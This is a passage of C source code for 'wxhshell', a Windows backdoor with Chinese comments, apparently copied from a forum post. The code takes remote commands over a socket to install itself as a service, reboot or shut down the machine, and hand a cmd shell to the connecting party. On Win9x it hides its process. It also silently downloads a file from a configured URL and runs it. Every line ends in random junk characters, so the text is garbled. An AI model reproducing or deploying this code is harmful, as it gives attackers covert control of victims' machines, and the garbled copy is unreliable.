      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {%R^8  
    break; }Kp!,  
  } f+h\RE=BGt  
  // 安装 ,CfslhO{j  
  case 'i': { -]Z7^  
    if(Install()) r/j:A#6M]o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dr3_MWJ+  
    else ,vR?iNd:q[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8 "l PiW3  
    break; m\6/:~qWW  
    } }/cReX,so  
  // 卸载 h'y%TOob  
  case 'r': { X-c|jn7  
    if(Uninstall()) Y![Q1D!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y{%0[x*N<m  
    else @+gr/Pul^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >h\y1IrAaG  
    break; Eomfa:WL  
    } 7D6`1 &  
  // 显示 wxhshell 所在路径 +%JBr+1#\  
  case 'p': { {R}F4k  
    char svExeFile[MAX_PATH]; 8xPt1Sotq[  
    strcpy(svExeFile,"\n\r"); hNN>Pd~;  
      strcat(svExeFile,ExeFile); EeW ,-I  
        send(wsh,svExeFile,strlen(svExeFile),0); n i#jAwkN5  
    break; 6"Uu;Q  
    } \^!;r9z=A  
  // 重启 jn<?,UABD  
  case 'b': { I/O3OD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EoAr}fI  
    if(Boot(REBOOT)) =;Gq:mHi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7>N~l  
    else { ,md_eGF  
    closesocket(wsh); u8Ys2KLpL  
    ExitThread(0);  %?ElC  
    } $*#a;w7\C  
    break; QAs)zl0  
    } p='j/=  
  // 关机 7he73  
  case 'd': { 1m*)MZ)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f3K-X1`]'U  
    if(Boot(SHUTDOWN)) Bqf(6\)F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C[J9 =!t  
    else { -D`1z?zHra  
    closesocket(wsh); qSY\a\.<  
    ExitThread(0); & l>nzJ5?  
    } {wqT$( (<  
    break; bb6x} jR  
    } (GJtTp~2C4  
  // 获取shell gv*b`cl  
  case 's': { OoB|Eh|),  
    CmdShell(wsh); eZ'8JU]  
    closesocket(wsh); L'+bVP{L  
    ExitThread(0); ] ZV[}7I.  
    break; [`n_> p!  
  } `Fd \dn  
  // 退出 gRLt0&Q~  
  case 'x': { qM\ 2f<)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^^a6 (b  
    CloseIt(wsh); .5|[gBK  
    break; >?$2`I  
    } ~y<0Cc3Vs  
  // 离开 )|~K&qn`  
  case 'q': {  r h*F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1j?P$%p  
    closesocket(wsh); k2}DBVu1  
    WSACleanup(); %3z[;&*3O  
    exit(1); IiPX`V>RC  
    break; Ac:`xk<  
        } H$`U] =s|  
  } CI W4E  
  } 8E%LhA.  
~+Wx\:TT  
  // 提示信息 A8% e _XA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4Mt3<W5  
} MBWoPK  
  } ,/f\  
WtOjPW  
  return; T?8BAxC?K  
} +7.|1x;C  
&^`Wtd~g  
// shell模块句柄 '2lV(>"  
int CmdShell(SOCKET sock)  /YJo"\7  
{ Fb,*;M1'  
STARTUPINFO si; i}m'#b  
ZeroMemory(&si,sizeof(si)); Vn#}f=u\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9qap#A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EyK!'9~a  
PROCESS_INFORMATION ProcessInfo; d"|_NG`vr  
char cmdline[]="cmd"; x6cG'3&T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a6 Vfd&  
  return 0; G&oD;NY@/  
} m` 1dB%;?  
z^9oaoTl  
// 自身启动模式  [N,+mX  
int StartFromService(void) 7$*E0  
{ Tvv>9gS  
typedef struct r_+Vb*|Y  
{ y[7M(K  
  DWORD ExitStatus; mm>l:M TF  
  DWORD PebBaseAddress; GCl *x:  
  DWORD AffinityMask; Q>5f@aN  
  DWORD BasePriority; AXbb-GK  
  ULONG UniqueProcessId; h0F=5| B  
  ULONG InheritedFromUniqueProcessId; { j_-iF  
}   PROCESS_BASIC_INFORMATION; & AK\Pw)  
]!ai?z%cK#  
PROCNTQSIP NtQueryInformationProcess; .@{v{  
{V7mpVTX.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (wu'FFJp#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kw-<o!~  
Ta[2uv>  
  HANDLE             hProcess; onu G  
  PROCESS_BASIC_INFORMATION pbi; jf)cDj2  
^\PRz Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f0P,j~]  
  if(NULL == hInst ) return 0; JSUD$|RiJ  
2TGND-(j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -;cF)C--12  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0MRWx%CR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !/G}vu  
V7WL Gy.,  
  if (!NtQueryInformationProcess) return 0; M6wH$!zRa  
,$`} Rf<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JV_`E_!  
  if(!hProcess) return 0; O _9r-Zt^  
"rMfe>;FJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p&I>xu8fl  
`R0~mx&6G  
  CloseHandle(hProcess); k<*v6 sNs;  
JWHsTnB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #`y[75<n  
if(hProcess==NULL) return 0; dOv\]  
DOyO`TJi  
HMODULE hMod; M4Cb(QAVP  
char procName[255]; I'xc$f_+  
unsigned long cbNeeded; (?Ko:0+*  
Ucv7`W gr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h] ho? K  
;?u cC@  
  CloseHandle(hProcess); pj_W^,*/  
=|J*9z;  
if(strstr(procName,"services")) return 1; // 以服务启动 c&PsT4Wh  
)q{qWobS0  
  return 0; // 注册表启动 +mjwX?yF  
} A\?t^T  
u^xnOVE  
// 主模块 )VQ[}iT  
int StartWxhshell(LPSTR lpCmdLine) UXji$|ET6  
{ DOu^   
  SOCKET wsl; igL5nE=n  
BOOL val=TRUE; 9Qszr=C0  
  int port=0; |ufT)+:  
  struct sockaddr_in door; =w`Mc\o"  
6W_:w  
  if(wscfg.ws_autoins) Install(); g@ J F  
<yl@!-'J7  
port=atoi(lpCmdLine); OGcdv{ ,P  
qGq]E `O  
if(port<=0) port=wscfg.ws_port; 25Ee+&&%  
G-i2#S   
  WSADATA data; g5U,   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MR|A_e^x  
t,LK92?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &n,v@ gt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0`zdj  
  door.sin_family = AF_INET; Pfs_tu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,R=!ts[qi  
  door.sin_port = htons(port); -W6@[5c  
sDs.da#*2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ac\aH#J_nC  
closesocket(wsl); ^6# yL6E,~  
return 1; +6>2= ,?Z  
} r1F5'?NZ(0  
G\tN(%.f  
  if(listen(wsl,2) == INVALID_SOCKET) { Pz*BuL <  
closesocket(wsl); >!Gq[i0  
return 1; : F3UJ[V  
} kYCm5g3u  
  Wxhshell(wsl); sT=|"H?  
  WSACleanup(); #}fvjJ{  
@|;[ ;:h@  
return 0; +o3n%( ^~  
]*]*O|w  
} ;Qy Ew5  
;Mq'+4$  
// 以NT服务方式启动 Fep@VkN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lI46 f  
{ 7kD?xHpe  
DWORD   status = 0; >/Z*\6|Zx#  
  DWORD   specificError = 0xfffffff; I!Dx)>E&  
8\E=p+C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E`LaO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -J!n7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2.JrLBhN  
  serviceStatus.dwWin32ExitCode     = 0; %@(+`CCA  
  serviceStatus.dwServiceSpecificExitCode = 0; _!|$i  
  serviceStatus.dwCheckPoint       = 0; |H=5Am  
  serviceStatus.dwWaitHint       = 0; Jv 5l   
GZ<@#~1%\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L$a{%]I  
  if (hServiceStatusHandle==0) return; u`B/9-K)y  
c='W{47  
status = GetLastError(); j/O9LygB  
  if (status!=NO_ERROR) ^{J^oZ'%~  
{ tag)IWAiE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %1cxZxGT  
    serviceStatus.dwCheckPoint       = 0; o9ys$vXt*  
    serviceStatus.dwWaitHint       = 0; A"DGn  
    serviceStatus.dwWin32ExitCode     = status; -mO<(wfV>  
    serviceStatus.dwServiceSpecificExitCode = specificError; x-@?:P*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6(\-aH'Ol  
    return; BGfwgI.m  
  } ;[lLFI  
>g+Y//Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ej7N5~!,s  
  serviceStatus.dwCheckPoint       = 0; 6}@T^?  
  serviceStatus.dwWaitHint       = 0; UCmJQJc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B4*,]lS?  
} h+d k2|a  
)y!gApNs"  
// 处理NT服务事件,比如:启动、停止 3bLOT#t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e7iQG@i7  
{ 6t <[-  
switch(fdwControl) _ZWU~38PM  
{ 6V9r[,n  
case SERVICE_CONTROL_STOP: IY~I=}  
  serviceStatus.dwWin32ExitCode = 0; }|-8- ;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZHwN3  
  serviceStatus.dwCheckPoint   = 0; 3>5gh8!-  
  serviceStatus.dwWaitHint     = 0; J#w=Z>oz<  
  { WSF$xC /~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); = ?/6hB=7<  
  } .2P3 !KCL  
  return; 7"eIZ  
case SERVICE_CONTROL_PAUSE: U1yspHiZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -hF!_);{  
  break; oQ Vm)Bn'R  
case SERVICE_CONTROL_CONTINUE: oN83`Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ir` l*:j$  
  break; CyVi{"aF3  
case SERVICE_CONTROL_INTERROGATE: hYFi"ck  
  break; =JTwH>fD  
}; .GYdC '  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \'w.<)(GI  
} w4^ $@GtN  
=%}(Dvjv  
// 标准应用程序主函数 $+{o*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4*n1Xu 7^x  
{ B'B0e`  
>)[W7h  
// 获取操作系统版本 3<Z@!ft8  
OsIsNt=GetOsVer(); 0aGauG[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HWL? doM  
0|hOoO]?q&  
  // 从命令行安装 ca,JQrm  
  if(strpbrk(lpCmdLine,"iI")) Install(); -)"\?+T  
SoCN.J30  
  // 下载执行文件 IAmMO[9H  
if(wscfg.ws_downexe) { RT%{M1tkS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J1r\Cp+h0  
  WinExec(wscfg.ws_filenam,SW_HIDE); q?w%%.9]X  
} Jn&u u  
zEE:C|50  
if(!OsIsNt) { 'L1yFv  
// 如果时win9x,隐藏进程并且设置为注册表启动 djdSD  
HideProc(); ,ueA'GZ  
StartWxhshell(lpCmdLine); *|+$7j  
} ;]BNc"  
else mCI5^%*0jQ  
  if(StartFromService()) 'w;J) _Yc2  
  // 以服务方式启动 `]&'yt  
  StartServiceCtrlDispatcher(DispatchTable); "|WKK}  
else d.>O`.Mu)}  
  // 普通方式启动 )C$Ij9<A  
  StartWxhshell(lpCmdLine); !*wd d8   
m KKa0"  
return 0; UBuG12U4Y  
}
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只看该作者 1 发表于: 2006-10-10
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